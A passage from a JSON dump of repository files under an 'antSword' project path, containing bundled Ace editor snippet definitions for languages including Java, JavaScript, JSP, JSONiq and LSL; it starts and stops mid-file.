{\\n\t\t${2}\\n\t}\\nsnippet test\\n\t@Test\\n\tpublic void test${1:Name}() throws Exception {\\n\t\t${2}\\n\t}\\n##\\n## Utils\\nsnippet Sc\\n\tScanner\\n##\\n## Miscellaneous\\nsnippet action\\n\tpublic static void ${1:index}(${2:args}) { ${3} }\\nsnippet rnf\\n\tnotFound(${1:param});${2}\\nsnippet rnfin\\n\tnotFoundIfNull(${1:param});${2}\\nsnippet rr\\n\tredirect(${1:param});${2}\\nsnippet ru\\n\tunauthorized(${1:param});${2}\\nsnippet unless\\n\t(unless=${1:param});${2}\\n',t.scope=\"java\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/javascript.js",
    "content": "ace.define(\"ace/snippets/javascript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Prototype\\nsnippet proto\\n\t${1:class_name}.prototype.${2:method_name} = function(${3:first_argument}) {\\n\t\t${4:// body...}\\n\t};\\n# Function\\nsnippet fun\\n\tfunction ${1?:function_name}(${2:argument}) {\\n\t\t${3:// body...}\\n\t}\\n# Anonymous Function\\nregex /((=)\\\\s*|(:)\\\\s*|(\\\\()|\\\\b)/f/(\\\\))?/\\nsnippet f\\n\tfunction${M1?: ${1:functionName}}($2) {\\n\t\t${0:$TM_SELECTED_TEXT}\\n\t}${M2?;}${M3?,}${M4?)}\\n# Immediate function\\ntrigger \\\\(?f\\\\(\\nendTrigger \\\\)?\\nsnippet f(\\n\t(function(${1}) {\\n\t\t${0:${TM_SELECTED_TEXT:/* code */}}\\n\t}(${1}));\\n# if\\nsnippet if\\n\tif (${1:true}) {\\n\t\t${0}\\n\t}\\n# if ... else\\nsnippet ife\\n\tif (${1:true}) {\\n\t\t${2}\\n\t} else {\\n\t\t${0}\\n\t}\\n# tertiary conditional\\nsnippet ter\\n\t${1:/* condition */} ? ${2:a} : ${3:b}\\n# switch\\nsnippet switch\\n\tswitch (${1:expression}) {\\n\t\tcase \\'${3:case}\\':\\n\t\t\t${4:// code}\\n\t\t\tbreak;\\n\t\t${5}\\n\t\tdefault:\\n\t\t\t${2:// code}\\n\t}\\n# case\\nsnippet case\\n\tcase \\'${1:case}\\':\\n\t\t${2:// code}\\n\t\tbreak;\\n\t${3}\\n\\n# while (...) {...}\\nsnippet wh\\n\twhile (${1:/* condition */}) {\\n\t\t${0:/* code */}\\n\t}\\n# try\\nsnippet try\\n\ttry {\\n\t\t${0:/* code */}\\n\t} catch (e) {}\\n# do...while\\nsnippet do\\n\tdo {\\n\t\t${2:/* code */}\\n\t} while (${1:/* condition */});\\n# Object Method\\nsnippet :f\\nregex /([,{[])|^\\\\s*/:f/\\n\t${1:method_name}: function(${2:attribute}) {\\n\t\t${0}\\n\t}${3:,}\\n# setTimeout function\\nsnippet setTimeout\\nregex /\\\\b/st|timeout|setTimeo?u?t?/\\n\tsetTimeout(function() {${3:$TM_SELECTED_TEXT}}, ${1:10});\\n# Get Elements\\nsnippet gett\\n\tgetElementsBy${1:TagName}(\\'${2}\\')${3}\\n# Get Element\\nsnippet get\\n\tgetElementBy${1:Id}(\\'${2}\\')${3}\\n# console.log (Firebug)\\nsnippet cl\\n\tconsole.log(${1});\\n# return\\nsnippet ret\\n\treturn ${1:result}\\n# for (property in object ) { ... }\\nsnippet fori\\n\tfor (var ${1:prop} in ${2:Things}) {\\n\t\t${0:$2[$1]}\\n\t}\\n# hasOwnProperty\\nsnippet has\\n\thasOwnProperty(${1})\\n# docstring\\nsnippet /**\\nsnippet @par\\nregex /^\\\\s*\\\\*\\\\s*/@(para?m?)?/\\n\t@param {${1:type}} ${2:name} ${3:description}\\nsnippet @ret\\n\t@return {${1:type}} ${2:description}\\n# JSON.parse\\nsnippet jsonp\\n\tJSON.parse(${1:jstr});\\n# JSON.stringify\\nsnippet jsons\\n\tJSON.stringify(${1:object});\\n# self-defining function\\nsnippet sdf\\n\tvar ${1:function_name} = function(${2:argument}) {\\n\t\t${3:// initial code ...}\\n\\n\t\t$1 = function($2) {\\n\t\t\t${4:// main code}\\n\t\t};\\n\t}\\n# singleton\\nsnippet sing\\n\tfunction ${1:Singleton} (${2:argument}) {\\n\t\tvar instance;\\n\t\t$1 = function $1($2) {\\n\t\t\treturn instance;\\n\t\t};\\n\t\t$1.prototype = this;\\n\t\tinstance = new $1();\\n\t\tinstance.constructor = $1;\\n\\n\t\t${3:// code ...}\\n\\n\t\treturn instance;\\n\t}\\n# class\\nsnippet class\\nregex /^\\\\s*/clas{0,2}/\\n\tvar ${1:class} = function(${20}) {\\n\t\t$40$0\\n\t};\\n\t\\n\t(function() {\\n\t\t${60:this.prop = \"\"}\\n\t}).call(${1:class}.prototype);\\n\t\\n\texports.${1:class} = ${1:class};\\n# \\nsnippet for-\\n\tfor (var ${1:i} = ${2:Things}.length; ${1:i}--; ) {\\n\t\t${0:${2:Things}[${1:i}];}\\n\t}\\n# for (...) {...}\\nsnippet for\\n\tfor (var ${1:i} = 0; $1 < ${2:Things}.length; $1++) {\\n\t\t${3:$2[$1]}$0\\n\t}\\n# for (...) {...} (Improved Native For-Loop)\\nsnippet forr\\n\tfor (var ${1:i} = ${2:Things}.length - 1; $1 >= 0; $1--) {\\n\t\t${3:$2[$1]}$0\\n\t}\\n\\n\\n#modules\\nsnippet def\\n\tace.define(function(require, exports, module) {\\n\t\"use strict\";\\n\tvar ${1/.*\\\\///} = require(\"${1}\");\\n\t\\n\t$TM_SELECTED_TEXT\\n\t});\\nsnippet req\\nguard ^\\\\s*\\n\tvar ${1/.*\\\\///} = require(\"${1}\");\\n\t$0\\nsnippet requ\\nguard ^\\\\s*\\n\tvar ${1/.*\\\\/(.)/\\\\u$1/} = require(\"${1}\").${1/.*\\\\/(.)/\\\\u$1/};\\n\t$0\\n',t.scope=\"javascript\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/json.js",
    "content": "ace.define(\"ace/snippets/json\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"json\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/jsoniq.js",
    "content": "ace.define(\"ace/snippets/jsoniq\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet for\\n\tfor $${1:item} in ${2:expr}\\nsnippet return\\n\treturn ${1:expr}\\nsnippet import\\n\timport module namespace ${1:ns} = \"${2:http://www.example.com/}\";\\nsnippet some\\n\tsome $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet every\\n\tevery $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet if\\n\tif(${1:true}) then ${2:expr} else ${3:true}\\nsnippet switch\\n\tswitch(${1:\"foo\"})\\n\tcase ${2:\"foo\"}\\n\treturn ${3:true}\\n\tdefault return ${4:false}\\nsnippet try\\n\ttry { ${1:expr} } catch ${2:*} { ${3:expr} }\\nsnippet tumbling\\n\tfor tumbling window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet sliding\\n\tfor sliding window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet let\\n\tlet $${1:varname} := ${2:expr}\\nsnippet group\\n\tgroup by $${1:varname} := ${2:expr}\\nsnippet order\\n\torder by ${1:expr} ${2:descending}\\nsnippet stable\\n\tstable order by ${1:expr}\\nsnippet count\\n\tcount $${1:varname}\\nsnippet ordered\\n\tordered { ${1:expr} }\\nsnippet unordered\\n\tunordered { ${1:expr} }\\nsnippet treat \\n\ttreat as ${1:expr}\\nsnippet castable\\n\tcastable as ${1:atomicType}\\nsnippet cast\\n\tcast as ${1:atomicType}\\nsnippet typeswitch\\n\ttypeswitch(${1:expr})\\n\tcase ${2:type}  return ${3:expr}\\n\tdefault return ${4:expr}\\nsnippet var\\n\tdeclare variable $${1:varname} := ${2:expr};\\nsnippet fn\\n\tdeclare function ${1:ns}:${2:name}(){\\n\t${3:expr}\\n\t};\\nsnippet module\\n\tmodule namespace ${1:ns} = \"${2:http://www.example.com}\";\\n',t.scope=\"jsoniq\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/jsp.js",
    "content": "ace.define(\"ace/snippets/jsp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet @page\\n\t<%@page contentType=\"text/html\" pageEncoding=\"UTF-8\"%>\\nsnippet jstl\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/core\" prefix=\"c\" %>\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/functions\" prefix=\"fn\" %>\\nsnippet jstl:c\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/core\" prefix=\"c\" %>\\nsnippet jstl:fn\\n\t<%@ taglib uri=\"http://java.sun.com/jsp/jstl/functions\" prefix=\"fn\" %>\\nsnippet cpath\\n\t${pageContext.request.contextPath}\\nsnippet cout\\n\t<c:out value=\"${1}\" default=\"${2}\" />\\nsnippet cset\\n\t<c:set var=\"${1}\" value=\"${2}\" />\\nsnippet cremove\\n\t<c:remove var=\"${1}\" scope=\"${2:page}\" />\\nsnippet ccatch\\n\t<c:catch var=\"${1}\" />\\nsnippet cif\\n\t<c:if test=\"${${1}}\">\\n\t\t${2}\\n\t</c:if>\\nsnippet cchoose\\n\t<c:choose>\\n\t\t${1}\\n\t</c:choose>\\nsnippet cwhen\\n\t<c:when test=\"${${1}}\">\\n\t\t${2}\\n\t</c:when>\\nsnippet cother\\n\t<c:otherwise>\\n\t\t${1}\\n\t</c:otherwise>\\nsnippet cfore\\n\t<c:forEach items=\"${${1}}\" var=\"${2}\" varStatus=\"${3}\">\\n\t\t${4:<c:out value=\"$2\" />}\\n\t</c:forEach>\\nsnippet cfort\\n\t<c:set var=\"${1}\">${2:item1,item2,item3}</c:set>\\n\t<c:forTokens var=\"${3}\" items=\"${$1}\" delims=\"${4:,}\">\\n\t\t${5:<c:out value=\"$3\" />}\\n\t</c:forTokens>\\nsnippet cparam\\n\t<c:param name=\"${1}\" value=\"${2}\" />\\nsnippet cparam+\\n\t<c:param name=\"${1}\" value=\"${2}\" />\\n\tcparam+${3}\\nsnippet cimport\\n\t<c:import url=\"${1}\" />\\nsnippet cimport+\\n\t<c:import url=\"${1}\">\\n\t\t<c:param name=\"${2}\" value=\"${3}\" />\\n\t\tcparam+${4}\\n\t</c:import>\\nsnippet curl\\n\t<c:url value=\"${1}\" var=\"${2}\" />\\n\t<a href=\"${$2}\">${3}</a>\\nsnippet curl+\\n\t<c:url value=\"${1}\" var=\"${2}\">\\n\t\t<c:param name=\"${4}\" value=\"${5}\" />\\n\t\tcparam+${6}\\n\t</c:url>\\n\t<a href=\"${$2}\">${3}</a>\\nsnippet credirect\\n\t<c:redirect url=\"${1}\" />\\nsnippet contains\\n\t${fn:contains(${1:string}, ${2:substr})}\\nsnippet contains:i\\n\t${fn:containsIgnoreCase(${1:string}, ${2:substr})}\\nsnippet endswith\\n\t${fn:endsWith(${1:string}, ${2:suffix})}\\nsnippet escape\\n\t${fn:escapeXml(${1:string})}\\nsnippet indexof\\n\t${fn:indexOf(${1:string}, ${2:substr})}\\nsnippet join\\n\t${fn:join(${1:collection}, ${2:delims})}\\nsnippet length\\n\t${fn:length(${1:collection_or_string})}\\nsnippet replace\\n\t${fn:replace(${1:string}, ${2:substr}, ${3:replace})}\\nsnippet split\\n\t${fn:split(${1:string}, ${2:delims})}\\nsnippet startswith\\n\t${fn:startsWith(${1:string}, ${2:prefix})}\\nsnippet substr\\n\t${fn:substring(${1:string}, ${2:begin}, ${3:end})}\\nsnippet substr:a\\n\t${fn:substringAfter(${1:string}, ${2:substr})}\\nsnippet substr:b\\n\t${fn:substringBefore(${1:string}, ${2:substr})}\\nsnippet lc\\n\t${fn:toLowerCase(${1:string})}\\nsnippet uc\\n\t${fn:toUpperCase(${1:string})}\\nsnippet trim\\n\t${fn:trim(${1:string})}\\n',t.scope=\"jsp\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/jsx.js",
    "content": "ace.define(\"ace/snippets/jsx\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"jsx\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/julia.js",
    "content": "ace.define(\"ace/snippets/julia\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"julia\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/latex.js",
    "content": "ace.define(\"ace/snippets/latex\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"latex\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/lean.js",
    "content": "ace.define(\"ace/snippets/lean\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"lean\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/less.js",
    "content": "ace.define(\"ace/snippets/less\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"less\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/liquid.js",
    "content": "ace.define(\"ace/snippets/liquid\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"liquid\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/lisp.js",
    "content": "ace.define(\"ace/snippets/lisp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"lisp\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/live_script.js",
    "content": "ace.define(\"ace/snippets/live_script\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/livescript.js",
    "content": "ace.define(\"ace/snippets/livescript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"livescript\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/logiql.js",
    "content": "ace.define(\"ace/snippets/logiql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"logiql\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/lsl.js",
    "content": "ace.define(\"ace/snippets/lsl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet @\\n\t@${1:label};\\nsnippet CAMERA_ACTIVE\\n\tCAMERA_ACTIVE, ${1:integer isActive}, $0\\nsnippet CAMERA_BEHINDNESS_ANGLE\\n\tCAMERA_BEHINDNESS_ANGLE, ${1:float degrees}, $0\\nsnippet CAMERA_BEHINDNESS_LAG\\n\tCAMERA_BEHINDNESS_LAG, ${1:float seconds}, $0\\nsnippet CAMERA_DISTANCE\\n\tCAMERA_DISTANCE, ${1:float meters}, $0\\nsnippet CAMERA_FOCUS\\n\tCAMERA_FOCUS, ${1:vector position}, $0\\nsnippet CAMERA_FOCUS_LAG\\n\tCAMERA_FOCUS_LAG, ${1:float seconds}, $0\\nsnippet CAMERA_FOCUS_LOCKED\\n\tCAMERA_FOCUS_LOCKED, ${1:integer isLocked}, $0\\nsnippet CAMERA_FOCUS_OFFSET\\n\tCAMERA_FOCUS_OFFSET, ${1:vector meters}, $0\\nsnippet CAMERA_FOCUS_THRESHOLD\\n\tCAMERA_FOCUS_THRESHOLD, ${1:float meters}, $0\\nsnippet CAMERA_PITCH\\n\tCAMERA_PITCH, ${1:float degrees}, $0\\nsnippet CAMERA_POSITION\\n\tCAMERA_POSITION, ${1:vector position}, $0\\nsnippet CAMERA_POSITION_LAG\\n\tCAMERA_POSITION_LAG, ${1:float seconds}, $0\\nsnippet CAMERA_POSITION_LOCKED\\n\tCAMERA_POSITION_LOCKED, ${1:integer isLocked}, $0\\nsnippet CAMERA_POSITION_THRESHOLD\\n\tCAMERA_POSITION_THRESHOLD, ${1:float meters}, $0\\nsnippet CHARACTER_AVOIDANCE_MODE\\n\tCHARACTER_AVOIDANCE_MODE, ${1:integer flags}, $0\\nsnippet CHARACTER_DESIRED_SPEED\\n\tCHARACTER_DESIRED_SPEED, ${1:float speed}, $0\\nsnippet CHARACTER_DESIRED_TURN_SPEED\\n\tCHARACTER_DESIRED_TURN_SPEED, ${1:float speed}, $0\\nsnippet CHARACTER_LENGTH\\n\tCHARACTER_LENGTH, ${1:float length}, $0\\nsnippet CHARACTER_MAX_TURN_RADIUS\\n\tCHARACTER_MAX_TURN_RADIUS, ${1:float radius}, $0\\nsnippet CHARACTER_ORIENTATION\\n\tCHARACTER_ORIENTATION, ${1:integer orientation}, $0\\nsnippet CHARACTER_RADIUS\\n\tCHARACTER_RADIUS, ${1:float radius}, $0\\nsnippet CHARACTER_STAY_WITHIN_PARCEL\\n\tCHARACTER_STAY_WITHIN_PARCEL, ${1:boolean stay}, $0\\nsnippet CHARACTER_TYPE\\n\tCHARACTER_TYPE, ${1:integer type}, $0\\nsnippet HTTP_BODY_MAXLENGTH\\n\tHTTP_BODY_MAXLENGTH, ${1:integer length}, $0\\nsnippet HTTP_CUSTOM_HEADER\\n\tHTTP_CUSTOM_HEADER, ${1:string name}, ${2:string value}, $0\\nsnippet HTTP_METHOD\\n\tHTTP_METHOD, ${1:string method}, $0\\nsnippet HTTP_MIMETYPE\\n\tHTTP_MIMETYPE, ${1:string mimeType}, $0\\nsnippet HTTP_PRAGMA_NO_CACHE\\n\tHTTP_PRAGMA_NO_CACHE, ${1:integer send_header}, $0\\nsnippet HTTP_VERBOSE_THROTTLE\\n\tHTTP_VERBOSE_THROTTLE, ${1:integer noisy}, $0\\nsnippet HTTP_VERIFY_CERT\\n\tHTTP_VERIFY_CERT, ${1:integer verify}, $0\\nsnippet RC_DATA_FLAGS\\n\tRC_DATA_FLAGS, ${1:integer flags}, $0\\nsnippet RC_DETECT_PHANTOM\\n\tRC_DETECT_PHANTOM, ${1:integer dectedPhantom}, $0\\nsnippet RC_MAX_HITS\\n\tRC_MAX_HITS, ${1:integer maxHits}, $0\\nsnippet RC_REJECT_TYPES\\n\tRC_REJECT_TYPES, ${1:integer filterMask}, $0\\nsnippet at_rot_target\\n\tat_rot_target(${1:integer handle}, ${2:rotation targetrot}, ${3:rotation ourrot})\\n\t{\\n\t\t$0\\n\t}\\nsnippet at_target\\n\tat_target(${1:integer tnum}, ${2:vector targetpos}, ${3:vector ourpos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet attach\\n\tattach(${1:key id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet changed\\n\tchanged(${1:integer change})\\n\t{\\n\t\t$0\\n\t}\\nsnippet collision\\n\tcollision(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet collision_end\\n\tcollision_end(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet collision_start\\n\tcollision_start(${1:integer index})\\n\t{\\n\t\t$0\\n\t}\\nsnippet control\\n\tcontrol(${1:key id}, ${2:integer level}, ${3:integer edge})\\n\t{\\n\t\t$0\\n\t}\\nsnippet dataserver\\n\tdataserver(${1:key query_id}, ${2:string data})\\n\t{\\n\t\t$0\\n\t}\\nsnippet do\\n\tdo\\n\t{\\n\t\t$0\\n\t}\\n\twhile (${1:condition});\\nsnippet else\\n\telse\\n\t{\\n\t\t$0\\n\t}\\nsnippet email\\n\temail(${1:string time}, ${2:string address}, ${3:string subject}, ${4:string message}, ${5:integer num_left})\\n\t{\\n\t\t$0\\n\t}\\nsnippet experience_permissions\\n\texperience_permissions(${1:key agent_id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet experience_permissions_denied\\n\texperience_permissions_denied(${1:key agent_id}, ${2:integer reason})\\n\t{\\n\t\t$0\\n\t}\\nsnippet for\\n\tfor (${1:start}; ${3:condition}; ${3:step})\\n\t{\\n\t\t$0\\n\t}\\nsnippet http_request\\n\thttp_request(${1:key request_id}, ${2:string method}, ${3:string body})\\n\t{\\n\t\t$0\\n\t}\\nsnippet http_response\\n\thttp_response(${1:key request_id}, ${2:integer status}, ${3:list metadata}, ${4:string body})\\n\t{\\n\t\t$0\\n\t}\\nsnippet if\\n\tif (${1:condition})\\n\t{\\n\t\t$0\\n\t}\\nsnippet jump\\n\tjump ${1:label};\\nsnippet land_collision\\n\tland_collision(${1:vector pos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet land_collision_end\\n\tland_collision_end(${1:vector pos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet land_collision_start\\n\tland_collision_start(${1:vector pos})\\n\t{\\n\t\t$0\\n\t}\\nsnippet link_message\\n\tlink_message(${1:integer sender_num}, ${2:integer num}, ${3:string str}, ${4:key id})\\n\t{\\n\t\t$0\\n\t}\\nsnippet listen\\n\tlisten(${1:integer channel}, ${2:string name}, ${3:key id}, ${4:string message})\\n\t{\\n\t\t$0\\n\t}\\nsnippet llAbs\\n\tllAbs(${1:integer val})\\nsnippet llAcos\\n\tllAcos(${1:float val})\\nsnippet llAddToLandBanList\\n\tllAddToLandBanList(${1:key agent}, ${2:float hours});\\nsnippet llAddToLandPassList\\n\tllAddToLandPassList(${1:key agent}, ${2:float hours});\\nsnippet llAdjustSoundVolume\\n\tllAdjustSoundVolume(${1:float volume});\\nsnippet llAgentInExperience\\n\tllAgentInExperience(${1:key agent})\\nsnippet llAllowInventoryDrop\\n\tllAllowInventoryDrop(${1:integer add});\\nsnippet llAngleBetween\\n\tllAngleBetween(${1:rotation a}, ${2:rotation b})\\nsnippet llApplyImpulse\\n\tllApplyImpulse(${1:vector force}, ${2:integer local});\\nsnippet llApplyRotationalImpulse\\n\tllApplyRotationalImpulse(${1:vector force}, ${2:integer local});\\nsnippet llAsin\\n\tllAsin(${1:float val})\\nsnippet llAtan2\\n\tllAtan2(${1:float y}, ${2:float x})\\nsnippet llAttachToAvatar\\n\tllAttachToAvatar(${1:integer attach_point});\\nsnippet llAttachToAvatarTemp\\n\tllAttachToAvatarTemp(${1:integer attach_point});\\nsnippet llAvatarOnLinkSitTarget\\n\tllAvatarOnLinkSitTarget(${1:integer link})\\nsnippet llAvatarOnSitTarget\\n\tllAvatarOnSitTarget()\\nsnippet llAxes2Rot\\n\tllAxes2Rot(${1:vector fwd}, ${2:vector left}, ${3:vector up})\\nsnippet llAxisAngle2Rot\\n\tllAxisAngle2Rot(${1:vector axis}, ${2:float angle})\\nsnippet llBase64ToInteger\\n\tllBase64ToInteger(${1:string str})\\nsnippet llBase64ToString\\n\tllBase64ToString(${1:string str})\\nsnippet llBreakAllLinks\\n\tllBreakAllLinks();\\nsnippet llBreakLink\\n\tllBreakLink(${1:integer link});\\nsnippet llCastRay\\n\tllCastRay(${1:vector start}, ${2:vector end}, ${3:list options});\\nsnippet llCeil\\n\tllCeil(${1:float val})\\nsnippet llClearCameraParams\\n\tllClearCameraParams();\\nsnippet llClearLinkMedia\\n\tllClearLinkMedia(${1:integer link}, ${2:integer face});\\nsnippet llClearPrimMedia\\n\tllClearPrimMedia(${1:integer face});\\nsnippet llCloseRemoteDataChannel\\n\tllCloseRemoteDataChannel(${1:key channel});\\nsnippet llCollisionFilter\\n\tllCollisionFilter(${1:string name}, ${2:key id}, ${3:integer accept});\\nsnippet llCollisionSound\\n\tllCollisionSound(${1:string impact_sound}, ${2:float impact_volume});\\nsnippet llCos\\n\tllCos(${1:float theta})\\nsnippet llCreateCharacter\\n\tllCreateCharacter(${1:list options});\\nsnippet llCreateKeyValue\\n\tllCreateKeyValue(${1:string k})\\nsnippet llCreateLink\\n\tllCreateLink(${1:key target}, ${2:integer parent});\\nsnippet llCSV2List\\n\tllCSV2List(${1:string src})\\nsnippet llDataSizeKeyValue\\n\tllDataSizeKeyValue()\\nsnippet llDeleteCharacter\\n\tllDeleteCharacter();\\nsnippet llDeleteKeyValue\\n\tllDeleteKeyValue(${1:string k})\\nsnippet llDeleteSubList\\n\tllDeleteSubList(${1:list src}, ${2:integer start}, ${3:integer end})\\nsnippet llDeleteSubString\\n\tllDeleteSubString(${1:string src}, ${2:integer start}, ${3:integer end})\\nsnippet llDetachFromAvatar\\n\tllDetachFromAvatar();\\nsnippet llDetectedGrab\\n\tllDetectedGrab(${1:integer number})\\nsnippet llDetectedGroup\\n\tllDetectedGroup(${1:integer number})\\nsnippet llDetectedKey\\n\tllDetectedKey(${1:integer number})\\nsnippet llDetectedLinkNumber\\n\tllDetectedLinkNumber(${1:integer number})\\nsnippet llDetectedName\\n\tllDetectedName(${1:integer number})\\nsnippet llDetectedOwner\\n\tllDetectedOwner(${1:integer number})\\nsnippet llDetectedPos\\n\tllDetectedPosl(${1:integer number})\\nsnippet llDetectedRot\\n\tllDetectedRot(${1:integer number})\\nsnippet llDetectedTouchBinormal\\n\tllDetectedTouchBinormal(${1:integer number})\\nsnippet llDetectedTouchFace\\n\tllDetectedTouchFace(${1:integer number})\\nsnippet llDetectedTouchNormal\\n\tllDetectedTouchNormal(${1:integer number})\\nsnippet llDetectedTouchPos\\n\tllDetectedTouchPos(${1:integer number})\\nsnippet llDetectedTouchST\\n\tllDetectedTouchST(${1:integer number})\\nsnippet llDetectedTouchUV\\n\tllDetectedTouchUV(${1:integer number})\\nsnippet llDetectedType\\n\tllDetectedType(${1:integer number})\\nsnippet llDetectedVel\\n\tllDetectedVel(${1:integer number})\\nsnippet llDialog\\n\tllDialog(${1:key agent}, ${2:string message}, ${3:list buttons}, ${4:integer channel});\\nsnippet llDie\\n\tllDie();\\nsnippet llDumpList2String\\n\tllDumpList2String(${1:list src}, ${2:string separator})\\nsnippet llEdgeOfWorld\\n\tllEdgeOfWorld(${1:vector pos}, ${2:vector dir})\\nsnippet llEjectFromLand\\n\tllEjectFromLand(${1:key agent});\\nsnippet llEmail\\n\tllEmail(${1:string address}, ${2:string subject}, ${3:string message});\\nsnippet llEscapeURL\\n\tllEscapeURL(${1:string url})\\nsnippet llEuler2Rot\\n\tllEuler2Rot(${1:vector v})\\nsnippet llExecCharacterCmd\\n\tllExecCharacterCmd(${1:integer command}, ${2:list options});\\nsnippet llEvade\\n\tllEvade(${1:key target}, ${2:list options});\\nsnippet llFabs\\n\tllFabs(${1:float val})\\nsnippet llFleeFrom\\n\tllFleeFrom(${1:vector position}, ${2:float distance}, ${3:list options});\\nsnippet llFloor\\n\tllFloor(${1:float val})\\nsnippet llForceMouselook\\n\tllForceMouselook(${1:integer mouselook});\\nsnippet llFrand\\n\tllFrand(${1:float mag})\\nsnippet llGenerateKey\\n\tllGenerateKey()\\nsnippet llGetAccel\\n\tllGetAccel()\\nsnippet llGetAgentInfo\\n\tllGetAgentInfo(${1:key id})\\nsnippet llGetAgentLanguage\\n\tllGetAgentLanguage(${1:key agent})\\nsnippet llGetAgentList\\n\tllGetAgentList(${1:integer scope}, ${2:list options})\\nsnippet llGetAgentSize\\n\tllGetAgentSize(${1:key agent})\\nsnippet llGetAlpha\\n\tllGetAlpha(${1:integer face})\\nsnippet llGetAndResetTime\\n\tllGetAndResetTime()\\nsnippet llGetAnimation\\n\tllGetAnimation(${1:key id})\\nsnippet llGetAnimationList\\n\tllGetAnimationList(${1:key agent})\\nsnippet llGetAnimationOverride\\n\tllGetAnimationOverride(${1:string anim_state})\\nsnippet llGetAttached\\n\tllGetAttached()\\nsnippet llGetBoundingBox\\n\tllGetBoundingBox(${1:key object})\\nsnippet llGetCameraPos\\n\tllGetCameraPos()\\nsnippet llGetCameraRot\\n\tllGetCameraRot()\\nsnippet llGetCenterOfMass\\n\tllGetCenterOfMass()\\nsnippet llGetClosestNavPoint\\n\tllGetClosestNavPoint(${1:vector point}, ${2:list options})\\nsnippet llGetColor\\n\tllGetColor(${1:integer face})\\nsnippet llGetCreator\\n\tllGetCreator()\\nsnippet llGetDate\\n\tllGetDate()\\nsnippet llGetDisplayName\\n\tllGetDisplayName(${1:key id})\\nsnippet llGetEnergy\\n\tllGetEnergy()\\nsnippet llGetEnv\\n\tllGetEnv(${1:string name})\\nsnippet llGetExperienceDetails\\n\tllGetExperienceDetails(${1:key experience_id})\\nsnippet llGetExperienceErrorMessage\\n\tllGetExperienceErrorMessage(${1:integer error})\\nsnippet llGetForce\\n\tllGetForce()\\nsnippet llGetFreeMemory\\n\tllGetFreeMemory()\\nsnippet llGetFreeURLs\\n\tllGetFreeURLs()\\nsnippet llGetGeometricCenter\\n\tllGetGeometricCenter()\\nsnippet llGetGMTclock\\n\tllGetGMTclock()\\nsnippet llGetHTTPHeader\\n\tllGetHTTPHeader(${1:key request_id}, ${2:string header})\\nsnippet llGetInventoryCreator\\n\tllGetInventoryCreator(${1:string item})\\nsnippet llGetInventoryKey\\n\tllGetInventoryKey(${1:string name})\\nsnippet llGetInventoryName\\n\tllGetInventoryName(${1:integer type}, ${2:integer number})\\nsnippet llGetInventoryNumber\\n\tllGetInventoryNumber(${1:integer type})\\nsnippet llGetInventoryPermMask\\n\tllGetInventoryPermMask(${1:string item}, ${2:integer mask})\\nsnippet llGetInventoryType\\n\tllGetInventoryType(${1:string name})\\nsnippet llGetKey\\n\tllGetKey()\\nsnippet llGetLandOwnerAt\\n\tllGetLandOwnerAt(${1:vector pos})\\nsnippet llGetLinkKey\\n\tllGetLinkKey(${1:integer link})\\nsnippet llGetLinkMedia\\n\tllGetLinkMedia(${1:integer link}, ${2:integer face}, ${3:list params})\\nsnippet llGetLinkName\\n\tllGetLinkName(${1:integer link})\\nsnippet llGetLinkNumber\\n\tllGetLinkNumber()\\nsnippet llGetLinkNumberOfSides\\n\tllGetLinkNumberOfSides(${1:integer link})\\nsnippet 